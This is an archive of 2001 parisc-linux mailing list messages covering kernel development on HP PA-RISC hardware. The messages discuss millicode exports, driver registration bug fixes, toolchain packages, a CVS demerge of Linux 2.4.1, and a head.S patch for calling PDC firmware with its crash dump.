Xref: news.gmane.org gmane.linux.ports.parisc:10111

On Thu, 1 Feb 2001, Grant Grundler wrote:

> Paul Bame wrote:
> > I didn't think the 64-bit compiler used mulI so didn't include it
> > in the millicode routines.  I'm curious what's using it.
> 
>     arch/parisc/kernel/parisc_ksyms.c
> 
> Exported for (guess what?) CONFIG_MODULE support. :^/
> 
> I've committed the following patch. Paul tells me on 64 bit, millicode looks
> to be limited to div* and rem*.

Errm.  32 bit might still want them.  #ifndef __LP64__ ?

Alan
-- 
Linuxcare.





From - Thu Nov 08 21:16:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] $$mulI missing
Date: Fri, 2 Feb 2001 10:33:43 +1100 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102021033060.19209-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0102021028560.19209-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619822 14880 80.91.229.3 (22 Nov 2014 01:30:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:22 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 16:35:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 791224A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 16:35:40 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA12164;
	Fri, 2 Feb 2001 10:33:43 +1100
In-Reply-To: <Pine.LNX.4.21.0102021028560.19209-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10112

On Fri, 2 Feb 2001, Alan Modra wrote:

> Errm.  32 bit might still want them.  #ifndef __LP64__ ?

Ahh, missed seeing your second commit :-)





From - Thu Nov 08 21:16:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] $$mulI missing
Date: Thu, 01 Feb 2001 15:39:57 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <200102012340.PAA01589@milano.cup.hp.com>
References: <Pine.LNX.4.21.0102021033060.19209-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619823 14884 80.91.229.3 (22 Nov 2014 01:30:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 16:37:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CDE24A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 16:37:51 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 13B22402; Thu,  1 Feb 2001 15:37:41 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA01589;
	Thu, 1 Feb 2001 15:40:00 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 02 Feb 2001 10:33:43 PST."
             <Pine.LNX.4.21.0102021033060.19209-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:10113

Alan Modra wrote:
> On Fri, 2 Feb 2001, Alan Modra wrote:
> 
> > Errm.  32 bit might still want them.  #ifndef __LP64__ ?
> 
> Ahh, missed seeing your second commit :-)

Exactly. My oversight. Thanks to Paul (Bame) for asking me the
same question. And the answer was: doh! of course! :^)

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] register_fallback_cpu()
Date: Thu, 01 Feb 2001 16:14:25 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <200102020014.QAA01660@milano.cup.hp.com>
References: <200102012215.XAA10570@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619823 14889 80.91.229.3 (22 Nov 2014 01:30:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: 5116@telia.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 17:12:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DC724A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 17:12:23 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA01345
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Feb 2001 17:08:14 -0700
Original-Received: (qmail 2570 invoked by uid 15267); 2 Feb 2001 00:12:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2563 invoked from network); 2 Feb 2001 00:12:17 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 2 Feb 2001 00:12:17 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 619595DC; Thu,  1 Feb 2001 16:12:16 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id QAA01660;
	Thu, 1 Feb 2001 16:14:34 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 01 Feb 2001 23:15:57 PST."
             <200102012215.XAA10570@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:10114

5116@telia.com wrote:
> ---1463811727-1804289383-981065757=:6612
> Content-Type: TEXT/plain; CHARSET=US-ASCII
> 
> On 31 Jan, Grant Grundler wrote:
> 
> .... And the patch... 

Ok. I see the problem:
    Multiple entries in the "array" passed to register_driver()

I mistakenly deleted this line from the code:
-       for (;driver->check;driver++)  {

and the associated '}'. I'll restore the for() loop.

But Matthew is right: use the build-tools/cvsrc as your "~/.cvsrc".
It's generally easier to read.

thanks! (and sorry for the mistake)
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New toolchain debs available
Date: Thu, 01 Feb 2001 17:48:49 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20010202004849.31AED3873B@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619823 14892 80.91.229.3 (22 Nov 2014 01:30:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:23 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 17:47:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73BC24A18
	for <parisc-linux@parisc-linux.org>; Thu,  1 Feb 2001 17:47:53 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id AD57A2EA
	for <parisc-linux@parisc-linux.org>; Thu,  1 Feb 2001 19:47:21 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 31AED3873B
	for <parisc-linux@parisc-linux.org>; Thu,  1 Feb 2001 17:48:49 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10115

I have built new hppa debian packages of our current binutils, gcc, and glibc 
cvs bits. They are available at,

ftp://puffin.external.hp.com/ftp/pub/parisc/binaries/new-debs/debian/

Whats new
---------
binutils-dev_2.10.91.20001013-1_hppa.deb
binutils-doc_2.10.91.20001013-1_all.deb
binutils_2.10.91.20001013-1_hppa.deb
cpp-doc_2.96.20000925-2_all.deb
cpp_2.96.20000925-2_hppa.deb
g++_2.96.20000925-2_hppa.deb
gcc-doc_2.96.20000925-2_all.deb
gcc_2.96.20000925-2_hppa.deb
glibc-doc_2.2.1-1_all.deb
libc6-dbg_2.2.1-1_hppa.deb
libc6-dev_2.2.1-1_hppa.deb
libc6-pic_2.2.1-1_hppa.deb
libc6-prof_2.2.1-1_hppa.deb
libc6_2.2.1-1_hppa.deb
libstdc++2.10-dev_2.96.20000925-2_hppa.deb
libstdc++2.10_2.96.20000925-2_hppa.deb
locales_2.2.1-1_all.deb
nscd_2.2.1-1_hppa.deb

Several people are also working to populate that directory with other debs 
built with these tools. Report any failures to the list.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] WARNING: C3000 Linux problems
Date: Thu, 01 Feb 2001 17:55:32 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20010202005532.75D593873B@carmen.fc.hp.com>
References: <20010201025031.5C5A238926@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619824 14895 80.91.229.3 (22 Nov 2014 01:30:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:24 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 17:54:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id D72854A18
	for <parisc-linux@parisc-linux.org>; Thu,  1 Feb 2001 17:54:04 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 6EEC1120B
	for <parisc-linux@parisc-linux.org>; Thu,  1 Feb 2001 19:54:04 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 75D593873B
	for <parisc-linux@parisc-linux.org>; Thu,  1 Feb 2001 17:55:32 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Wed, 31 Jan 2001 19:50:31 MST."
             <20010201025031.5C5A238926@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10116

Matt Taggart writes...

> Summary: Don't run Linux on a C3000 until you hear otherwise.
[snip]
> J5600, or J6000. John Marvin is still looking at the problem, I have switched

And he found it and has a patch. He will fix it in current cvs, but since 
that's a little unstable right now I have posted a pre 2.4.0-merge kernel that 
he built with this fix. It's at,

ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/vmlinux-20010201

and of course you'll need to run palo on that kernel before you can boot it.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] register_fallback_cpu()
Date: Thu, 01 Feb 2001 17:31:18 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <200102020131.RAA01876@milano.cup.hp.com>
References: <200102012215.XAA10566@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619824 14899 80.91.229.3 (22 Nov 2014 01:30:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: 5116@telia.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 18:29:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC1544A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 18:29:03 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA02245
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Feb 2001 18:24:54 -0700
Original-Received: (qmail 27603 invoked by uid 15267); 2 Feb 2001 01:29:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27593 invoked from network); 2 Feb 2001 01:29:02 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 2 Feb 2001 01:29:02 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id EF6D75DA; Thu,  1 Feb 2001 17:29:00 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id RAA01876;
	Thu, 1 Feb 2001 17:31:19 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 01 Feb 2001 23:15:05 PST."
             <200102012215.XAA10566@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:10117

5116@telia.com wrote:
> On 31 Jan, Grant Grundler wrote:
> > But I don't think it's related to the register_fallback_cpu() code changes
> > I made. Maybe something else I submitted that day...
> I now have it booting, b ut not with today's cvs I had to revert to
> 2001-01-31. 
> The problem is that register_driver only tries the first structure in
> the array it gets, and the ASP is second in the array in busdevice.c
> which causes it to never be initialized.

Yup. I submitted that bug in the same batch. :^(
I've committed the fix for this. Thanks!

> I also noticed that the busdev_driver_for array is marked as initdata,
> but a pointer to it gets saved in arch/parisc/drivers.c.

Someone with system with LASI should test/commit (in that order)
this bugfix. Helge, Richard, or Matthew perhaps?

thanks,
grant




From - Thu Nov 08 21:16:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.4.0
Date: Fri, 2 Feb 2001 02:52:03 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20010202025203.C32691@parcelfarce.linux.theplanet.co.uk>
References: <20010126030440.A18813@parcelfarce.linux.theplanet.co.uk> <E14Nzvl-0002cJ-00@the-village.bc.nu> <20010201024930.U4656@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619824 14901 80.91.229.3 (22 Nov 2014 01:30:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:24 +0000 (UTC)
Cc: Linux/HPPA List <parisc-linux@parisc-linux.org>
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 19:52:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B1EE4A18
	for <parisc-linux@parisc-linux.org>; Thu,  1 Feb 2001 19:52:20 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14OWKR-00026z-00; Fri, 02 Feb 2001 02:52:03 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20010201024930.U4656@neep.com.au>; from andrew@neep.com.au on Thu, Feb 01, 2001 at 02:49:32AM +0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10118

On Thu, Feb 01, 2001 at 02:49:32AM +0800, Andrew Shugg wrote:
> Alan Cox said:
> > > just for giggles, i merged 2.4.1-pre10 into our tree.  no conflicts.
> > 
> > Bad move. 2.4.1 is incredibly broken and unstable. Stay at 2.4.0 for testing
> 
> Darn.  What did you call the tag before the merge, Mr Wilcx?

Why, LINUS_241_PREMERGE, following our normal convention, of course.

OK, OK, I forgot to lay down the tag.  But I've laid it down retroactively.
I'm about to back the 2.4.1 merge out of the tree, let's see if this works.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.1 demerged
Date: Fri, 2 Feb 2001 03:54:50 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20010202035450.D32691@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619825 14905 80.91.229.3 (22 Nov 2014 01:30:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 20:54:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BD484A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 20:54:51 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14OXJC-000306-00
	for parisc-linux@lists.parisc-linux.org; Fri, 02 Feb 2001 03:54:50 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10119

i've demerged 2.4.1 from the tree.  i've tagged this as LINUS_241_DEMERGE.
this was created by:

cvs up -D"2001-01-30 12:00"
cvs tag LINUS_241_PREMERGE
cvs up -A
cvs up -jLINUX_241_DEVEL -jLINUS_241_PREMERGE
	(no conflicts)
(build it, check it works, etc)
cvs ci
cvs tag LINUS_241_DEMERGE

from now on, i'm merging all linus' versions onto a branch first and
giving it a ?week? before merging them onto the trunk.  of course, for
this to work, you'll all have to promise to at least try it.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] calling PDC_PSW from head.S on A500
Date: Fri, 2 Feb 2001 00:27:59 -0800 (PST)
Lines: 361
Approved: news@gmane.org
Message-ID: <200102020827.AAA02312@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619825 14908 80.91.229.3 (22 Nov 2014 01:30:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  2 01:25:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C74B4A18
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 01:25:40 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id B90E750
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Feb 2001 00:25:39 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id AAA02312
	for parisc-linux@lists.parisc-linux.org; Fri, 2 Feb 2001 00:27:59 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:10120

To enable slave's properly, I need to call PDC to set the wide
mode as default (for trap handling). Thanks to jsm for getting
me this far. But it HPMC's in A500 PDC.
Any ideas what else I need to do?


"ser pim 0 HPMC" output is appended.
The CPU is clearly excuting PDC.
%r2 correctly contains the return ptr.
%r3 contains the PDC address called.
%sp points to a valid stack area. (virtual vs physical?)

To build, just need the two appended patches and a spanking new
XC (20010201) that Matt Taggart just posted (and will announce).

thanks,
grant


Index: include/asm-parisc/pdc.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/pdc.h,v
retrieving revision 1.23
diff -u -p -r1.23 pdc.h
--- pdc.h       2001/01/29 21:49:23     1.23
+++ pdc.h       2001/02/02 08:09:05
@@ -86,9 +86,9 @@
 #define PDC_TLB_SETUP          1       /* set up miss handling         */
  
 #define PDC_PSW                21              /* Get/Set default System Mask  */
-#define PDC_PSW_MASK            0L     /* Return mask                  */
-#define PDC_PSW_GET_DEFAULTS    1L     /* Return defaults              */
-#define PDC_PSW_SET_DEFAULTS    2L     /* Set default                  */
+#define PDC_PSW_MASK            0      /* Return mask                  */
+#define PDC_PSW_GET_DEFAULTS    1      /* Return defaults              */
+#define PDC_PSW_SET_DEFAULTS    2      /* Set default                  */
 #define PDC_PSW_ENDIAN_BIT     1       /* set for big endian           */
 #define PDC_PSW_WIDE_BIT       2       /* set for wide mode            */ 

Index: arch/parisc64/kernel/head.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc64/kernel/head.S,v
retrieving revision 1.4
diff -u -p -r1.4 head.S
--- head.S	2001/01/28 13:39:15	1.4
+++ head.S	2001/02/02 08:03:55
@@ -21,6 +21,7 @@
 
 #include <asm/assembly.h>
 #include <asm/pgtable.h>
+#include <asm/pdc.h>		/* for PDC_PSW defines */
 
 
 	.level 2.0
@@ -97,6 +98,14 @@ $pgt_fill_loop:
 	/* And the stack pointer too */
 	load32		init_task_union+TASK_SZ_ALGN,%sp
 
+	/* Act like PDC just called us - that's how slave CPUs enter */
+#define MEM_PDC_LO 0x388
+#define MEM_PDC_HI 0x35C
+	ldw		MEM_PDC_LO(%r0),%arg0
+	ldw		MEM_PDC_HI(%r0),%arg1
+	depd,z		%arg1, 31, 32, %arg2	/* move to upper word */
+	or		%arg2, %arg0, %arg0	/* combine both parts */
+
 #ifdef CONFIG_SMP
 	/* Set the smp rendevous address into page zero.
 	** It would be safer to do this in init_smp_config() but
@@ -128,6 +137,22 @@ common_stext:
 	stw		%r0,0x10(%r0)	/* MEM_RENDEZ */
 	stw		%r0,0x28(%r0)	/* MEM_RENDEZ_HI */
 #endif
+
+	/* Set Wide mode as the "Default" (eg for traps)
+	** First trap occurs *right* after (or part of) rfi for slave CPUs
+	*/
+	copy		%arg0,%r3	/* save PDCE_PROC entry */
+
+	ldo		PDC_PSW(%r0),%arg0		/* 21 */
+	ldo		PDC_PSW_SET_DEFAULTS(%r0),%arg1	/* 2 */
+	ldo		PDC_PSW_WIDE_BIT(%r0),%arg2	/* 2 */
+
+	load32		stext_pdc_ret, %rp
+
+	bv		(%r3)
+	copy		%r0,%arg3
+
+stext_pdc_ret:
 
 	/* PARANOID: clear user scratch/user space SR's */
 	mtsp	%r0,%sr0




Firmware Version  40.50

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      440  MHz   Active                 Functional         512 KB   1 MB
      1      440  MHz   Idle                   Functional         512 KB   1 MB

  Central Bus Speed (in MHz)  :        111
  Available Memory            :     262144  KB
  Good Memory Required        :      11468  KB

   Primary boot path:    0/0/1/1.15
   Alternate boot path:  0/0/2/1.15
   Console path:         0/0/4/0.0
   Keyboard path:        0/0/4/0.0

 WARNING:  The non-destructive test bit was set, so memory was not tested
            destructively.  Information only, no action required.


---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > ser pim 0 hpmc

FIRMWARE INFORMATION

   Firmware Version:          40.50


PROCESSOR PIM INFORMATION


-----------------  Processor 0 HPMC Information - PDC Version: 40.50  ------

Timestamp =    Fri Feb  2 07:58:16 GMT 2001    (20:01:02:02:07:58:16)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0x0000082000ff6242  0x0000000000000000
       0x1800082011006312  0xcb81000000000000
       0x0000087000ff6292  0x0000000000000000
       0x6000082070006062  0x0000000000000010
       0x7000082070006082  0x0000000000392400
       0x7000082379006133  0xc1bff0fffed08040
       0x0000080080006310  0x0000000000000001
       0x000008008000631f  0x0000000000000000
       0x0000082000ff6442  0x0000000000000000
       0x0000082000ff6402  0x0000000000000000
       0x0000080080006300  0x0000000000000001
       0x7000082382006343  0x0000000000070200
       0x7000082382026343  0x0000000000070200
       0x7000082382046343  0x0000000000070200
       0x7000082382066343  0x0000000000070200
       0x0000080089006200  0x0000000000000000
       0x0000080086006200  0x0000000000000000
       0x000008008000630f  0x0000000000000000


General Registers 0 - 31
00-03  0000000000000000  000000f0f0043e88  00000000c01000d0  000000f0f0043c90
04-07  00000000002e6000  00000000002e7000  00000000069db9c0  0000000000000000
08-11  00000000c034c780  00000000c034c780  000000000050b500  00000000c032d940
12-15  00000000000000f2  00000000000000fa  00000000000000f0  00000000000000ff
16-19  0000000000504d6c  00000000c034c780  000000f0f0002aa4  0000000000000060
20-23  0000000000000060  0000000000000060  fffffffff8000005  0000000000000000
24-27  0000000000000002  00000000000000b0  0000000000000015  0000000000504d6c
28-31  0000000000000018  00000000c034c770  00000000c034c780  0300000000002204


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
